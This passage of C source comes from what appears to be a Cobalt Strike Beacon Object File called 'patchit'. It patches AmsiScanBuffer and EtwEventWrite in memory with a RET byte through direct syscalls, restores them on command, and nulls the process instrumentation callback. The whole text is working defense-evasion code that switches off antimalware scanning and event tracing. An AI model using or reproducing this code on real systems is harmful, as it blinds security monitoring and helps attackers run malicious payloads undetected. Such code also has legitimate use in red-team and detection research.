parser; 398 | BeaconDataParse(&parser, args, len); 399 | int command = BeaconDataInt(&parser); 400 | 401 | if (command == check) 402 | { 403 | patchitCheck(); 404 | } 405 | else if (command == all) 406 | { 407 | patchitAll(); 408 | } 409 | else if (command == amsi) 410 | { 411 | patchitAMSI(); 412 | } 413 | else if (command == etw) 414 | { 415 | patchitETW(); 416 | } 417 | else if (command == revertAll) 418 | { 419 | revertALL(); 420 | } 421 | else if (command == revertAmsi) 422 | { 423 | revertAMSI(); 424 | } 425 | else if (command == revertEtw) 426 | { 427 | revertETW(); 428 | } 429 | 430 | } 431 | -------------------------------------------------------------------------------- /syscalls/patchit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "syscalls.c" 3 | 4 | #define NT_SUCCESS 0x00000000 5 | #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) 6 | #define ProcessInstrumentationCallback 0x28 7 | 8 | //Import 9 | DECLSPEC_IMPORT WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR); 10 | DECLSPEC_IMPORT WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR); 11 | DECLSPEC_IMPORT WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE, LPCSTR); 12 | DECLSPEC_IMPORT WINBASEAPI int WINAPI MSVCRT$memcmp (void*, void*, size_t); 13 | DECLSPEC_IMPORT WINBASEAPI int WINAPI MSVCRT$memcpy (void*, void*, size_t); 14 | DECLSPEC_IMPORT WINBASEAPI int WINAPI MSVCRT$strncmp (char*, char*, size_t); 15 | 16 | 17 | //Command 18 | #define check 1 19 | #define all 2 20 | #define amsi 3 21 | #define etw 4 22 | #define revertAll 5 23 | #define revertAmsi 6 24 | #define revertEtw 7 25 | 26 | 27 | BOOL loadedAMSI(){ 28 | 29 | HMODULE h_AMSI = KERNEL32$GetModuleHandleA("amsi.dll"); 30 | 31 | if(h_AMSI == NULL) 32 | { 33 | BeaconPrintf(CALLBACK_ERROR , "AMSI.DLL is not loaded in current process.\n"); 34 | return FALSE; 35 | } 36 | else 37 | { 38 | return TRUE; 39 | } 40 | } 41 | 42 | 43 | BOOL checkAMSI(){ 44 | 45 | unsigned char cleanAMSI[] = { 0x4C, 0x8B, 0xDC, 0x49, 0x89, 0x5B, 0x08, 0x49, 0x89, 0x6B, 0x10, 0x49, 0x89, 0x73, 0x18 }; 46 | 47 | HMODULE h_AMSI = KERNEL32$LoadLibraryA("amsi.dll"); 48 | 49 | if(h_AMSI == NULL) 50 | { 51 | BeaconPrintf(CALLBACK_ERROR , "Cannot load amsi.dll.\n"); 52 | return -1; 53 | } 54 | 55 | 56 | void* pAMSIaddress = (void*)KERNEL32$GetProcAddress(h_AMSI, "AmsiScanBuffer"); 57 | 58 | if(pAMSIaddress == NULL) 59 | { 60 | BeaconPrintf(CALLBACK_ERROR , "Cannot get AmsiScanBuffer address.\n"); 61 | return -1; 62 | } 63 | 64 | if (!MSVCRT$memcmp((void*)cleanAMSI, pAMSIaddress, sizeof(cleanAMSI))) //found clean bytes 65 | { 66 | return FALSE; 67 | 68 | } else 69 | { 70 | return TRUE; 71 | } 72 | 73 | } 74 | 75 | 76 | BOOL checkETW(){ 77 | 78 | unsigned char cleanETW[] = { 0x4C, 0x8B, 0xDC, 0x48, 0x83, 0xEC, 0x58, 0x4D, 0x89, 0x4B, 0xE8, 0x33, 0xC0 }; 79 | 80 | HMODULE h_NTDLL = KERNEL32$GetModuleHandleA("ntdll.dll"); 81 | 82 | if(h_NTDLL == NULL) 83 | { 84 | BeaconPrintf(CALLBACK_ERROR , "Cannot get ntdll.dll address.\n"); 85 | return -1; 86 | } 87 | 88 | void* pETWaddress = (void*)KERNEL32$GetProcAddress(h_NTDLL, "EtwEventWrite"); 89 | 90 | if(pETWaddress == NULL) 91 | { 92 | BeaconPrintf(CALLBACK_ERROR , "Cannot get EtwEventWrite address.\n"); 93 | return -1; 94 | } 95 | 96 | if (!MSVCRT$memcmp((PVOID)cleanETW, pETWaddress, sizeof(cleanETW))) //found clean bytes 97 | { 98 | return FALSE; 99 | 100 | } else 101 | { 102 | return TRUE; 103 | } 104 | 105 | 106 | } 107 | 108 | 109 | 110 | void patchitCheck(){ 111 | 112 | if (loadedAMSI()) 113 | { 114 | if(checkAMSI()) 115 | { 116 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer is patched.\n"); 117 | } 118 | else 119 | { 120 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer is NOT patched.\n"); 121 | } 122 | } 123 | 124 | 125 | if(checkETW()) 126 | { 127 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite is patched.\n"); 128 | } 129 | else 130 | { 131 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite is NOT patched.\n"); 132 | } 133 | } 134 | 135 | void patchitAMSI(){ 136 | 137 | BOOL patched = checkAMSI(); 138 | unsigned char amsiPatch[] = { 0xC3 }; 139 | ULONG OldProtection, NewProtection; 140 | SIZE_T uSize = sizeof(amsiPatch); 141 | NTSTATUS status; 142 | 143 | if (!patched) 144 | { 145 | 146 | void* pAMSIaddress = (void*)KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("amsi.dll"), "AmsiScanBuffer"); 147 | 148 | void* lpBaseAddress = pAMSIaddress; 149 | 150 | status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_READWRITE, &OldProtection); 151 | 152 | if(status != NT_SUCCESS) 153 | { 154 | BeaconPrintf(CALLBACK_ERROR , "Failed to modify AmsiScanBuffer memory permission to READWRITE."); 155 | return; 156 | } 157 | 158 | 159 | status = NtWriteVirtualMemory(NtCurrentProcess(), pAMSIaddress, (PVOID)amsiPatch, sizeof(amsiPatch), NULL); 160 | if(status != NT_SUCCESS) 161 | { 162 | BeaconPrintf(CALLBACK_ERROR , "Failed to copy patch to AmsiScanBuffer."); 163 | return; 164 | } 165 | 166 | 167 | status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection); 168 | 169 | if(status != NT_SUCCESS) 170 | { 171 | BeaconPrintf(CALLBACK_ERROR, "Failed to modify AmsiScanBuffer memory permission to original state."); 172 | return; 173 | } 174 | 175 | //check again to see if above succeeded 176 | if(checkAMSI()) 177 | { 178 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer is patched.\n"); 179 | } 180 | else 181 | { 182 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer is NOT patched.\n"); 183 | } 184 | 185 | } 186 | else 187 | { 188 | 189 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer was already patched, I did nothing.\n"); 190 | } 191 | 192 | } 193 | 194 | void patchitETW(){ 195 | 196 | BOOL patched = checkETW(); 197 | unsigned char etwPatch[] = { 0xC3 }; 198 | ULONG OldProtection, NewProtection; 199 | SIZE_T uSize = sizeof(etwPatch); 200 | NTSTATUS status; 201 | 202 | 203 | if (!patched) 204 | { 205 | 206 | void* pETWaddress = (void*)KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("ntdll.dll"), "EtwEventWrite"); 207 | 208 | void* lpBaseAddress = pETWaddress; 209 | 210 | status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_READWRITE, &OldProtection); 211 | 212 | if(status != NT_SUCCESS) 213 | { 214 | BeaconPrintf(CALLBACK_ERROR , "Failed to modify EtwEventWrite memory permission to READWRITE."); 215 | return; 216 | } 217 | 218 | 219 | status = NtWriteVirtualMemory(NtCurrentProcess(), pETWaddress, (PVOID)etwPatch, sizeof(etwPatch), NULL); 220 | 221 | if(status != NT_SUCCESS) 222 | { 223 | BeaconPrintf(CALLBACK_ERROR , "Failed to copy patch to EtwEventWrite."); 224 | return; 225 | } 226 | 227 | status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection); 228 | 229 | if(status != NT_SUCCESS) 230 | { 231 | BeaconPrintf(CALLBACK_ERROR, "Failed to modify EtwEventWrite memory permission to original state."); 232 | return; 233 | } 234 | 235 | 236 | //check again to see if above succeeded 237 | if(checkETW()) 238 | { 239 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite is patched.\n"); 240 | } 241 | else 242 | { 243 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite is NOT patched.\n"); 244 | } 245 | 246 | } 247 | else 248 | { 249 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite was already patched, I did nothing.\n"); 250 | } 251 | 252 | } 253 | 254 | 255 | void patchitAll(){ 256 | patchitAMSI(); 257 | patchitETW(); 258 | } 259 | 260 | 261 | void revertAMSI(){ 262 | 263 | unsigned char cleanAMSI[] = { 0x4C, 0x8B, 0xDC, 0x49, 0x89, 0x5B, 0x08, 0x49, 0x89, 0x6B, 0x10, 0x49, 0x89, 0x73, 0x18 }; 264 | ULONG OldProtection, NewProtection; 265 | SIZE_T uSize = sizeof(cleanAMSI); 266 | NTSTATUS status; 267 | 268 | if(loadedAMSI()) 269 | { 270 | BOOL patched = checkAMSI(); 271 | 272 | if (patched) 273 | { 274 | 275 | void* pAMSIaddress = (void*)KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("amsi.dll"), "AmsiScanBuffer"); 276 | 277 | void* lpBaseAddress = pAMSIaddress; 278 | 279 | 280 | status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_READWRITE, &OldProtection); 281 | 282 | if(status != NT_SUCCESS) 283 | { 284 | BeaconPrintf(CALLBACK_ERROR , "Failed to modify AmsiScanBuffer memory permission to READWRITE."); 285 | return; 286 | } 287 | 288 | 289 | status = NtWriteVirtualMemory(NtCurrentProcess(), pAMSIaddress, (PVOID)cleanAMSI, sizeof(cleanAMSI), NULL); 290 | 291 | if(status != NT_SUCCESS) 292 | { 293 | BeaconPrintf(CALLBACK_ERROR , "Failed to copy clean patch to AmsiScanBuffer."); 294 | return; 295 | } 296 | 297 | 298 | status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection); 299 | 300 | if(status != NT_SUCCESS) 301 | { 302 | BeaconPrintf(CALLBACK_ERROR, "Failed to modify AmsiScanBuffer memory permission to original state."); 303 | return; 304 | } 305 | 306 | //check again to see if above succeeded 307 | if(!checkAMSI()) 308 | { 309 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer is reverted to original.\n"); 310 | } 311 | else 312 | { 313 | BeaconPrintf(CALLBACK_ERROR , "Failed to revert AmsiScanBuffer."); 314 | } 315 | 316 | } 317 | else 318 | { 319 | 320 | BeaconPrintf(CALLBACK_OUTPUT , "[+] AmsiScanBuffer was clean, I did nothing.\n"); 321 | } 322 | } 323 | 324 | 325 | 326 | } 327 | 328 | void revertETW(){ 329 | 330 | BOOL patched = checkETW(); 331 | unsigned char cleanETW[] = { 0x4C, 0x8B, 0xDC, 0x48, 0x83, 0xEC, 0x58, 0x4D, 0x89, 0x4B, 0xE8, 0x33, 0xC0 }; 332 | ULONG OldProtection, NewProtection; 333 | SIZE_T uSize = sizeof(cleanETW); 334 | NTSTATUS status; 335 | 336 | if (patched) 337 | { 338 | 339 | void* pETWaddress = (void*)KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("ntdll.dll"), "EtwEventWrite"); 340 | 341 | void* lpBaseAddress = pETWaddress; 342 | 343 | status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_READWRITE, &OldProtection); 344 | 345 | if(status != NT_SUCCESS) 346 | { 347 | BeaconPrintf(CALLBACK_ERROR , "Failed to modify EtwEventWrite memory permission to READWRITE."); 348 | return; 349 | } 350 | 351 | 352 | status = NtWriteVirtualMemory(NtCurrentProcess(), pETWaddress, (PVOID)cleanETW, sizeof(cleanETW), NULL); 353 | 354 | if(status != NT_SUCCESS) 355 | { 356 | BeaconPrintf(CALLBACK_ERROR , "Failed to copy clean patch to EtwEventWrite."); 357 | return; 358 | } 359 | 360 | 361 | status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection); 362 | 363 | if(status != NT_SUCCESS) 364 | { 365 | BeaconPrintf(CALLBACK_ERROR, "Failed to modify EtwEventWrite memory permission to original state."); 366 | return; 367 | } 368 | 369 | //check again to see if above succeeded 370 | if(!checkETW()) 371 | { 372 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite is reverted to original.\n"); 373 | } 374 | else 375 | { 376 | BeaconPrintf(CALLBACK_ERROR , "Failed to revert EtwEventWrite."); 377 | } 378 | 379 | } 380 | else 381 | { 382 | 383 | BeaconPrintf(CALLBACK_OUTPUT , "[+] EtwEventWrite was clean, I did nothing.\n"); 384 | } 385 | 386 | } 387 | 388 | 389 | void revertALL(){ 390 | revertAMSI(); 391 | revertETW(); 392 | } 393 | 394 | void go(char * args, int len) { 395 | 396 | datap parser; 397 | BeaconDataParse(&parser, args, len); 398 | int command = BeaconDataInt(&parser); 399 | 400 | PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION process_information = { 0 }; 401 | process_information.Version = 0; 402 | process_information.Reserved = 0; 403 | process_information.Callback = NULL; 404 | 405 | NTSTATUS status = NtSetInformationProcess(NtCurrentProcess(), ProcessInstrumentationCallback, &process_information, sizeof(PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION)); 406 | 407 | if (status != NT_SUCCESS) 408 | { 409 | BeaconPrintf(CALLBACK_ERROR , "Failed to NULL InstrumentationCallback.\n"); 410 | } 411 | 412 | if (command == check) 413 | { 414 | patchitCheck(); 415 | } 416 | else if (command == all) 417 | { 418 | patchitAll(); 419 | } 420 | else if (command == amsi) 421 | { 422 | patchitAMSI(); 423 | } 424 | else if (command == etw) 425 | { 426 | patchitETW(); 427 | } 428 | else if (command == revertAll) 429 | { 430 | revertALL(); 431 | } 432 | else if (command == revertAmsi) 433 | { 434 | revertAMSI(); 435 | } 436 | else if (command == revertEtw) 437 | { 438 | revertETW(); 439 | } 440 | 441 | } 442 | --------------------------------------------------------------------------------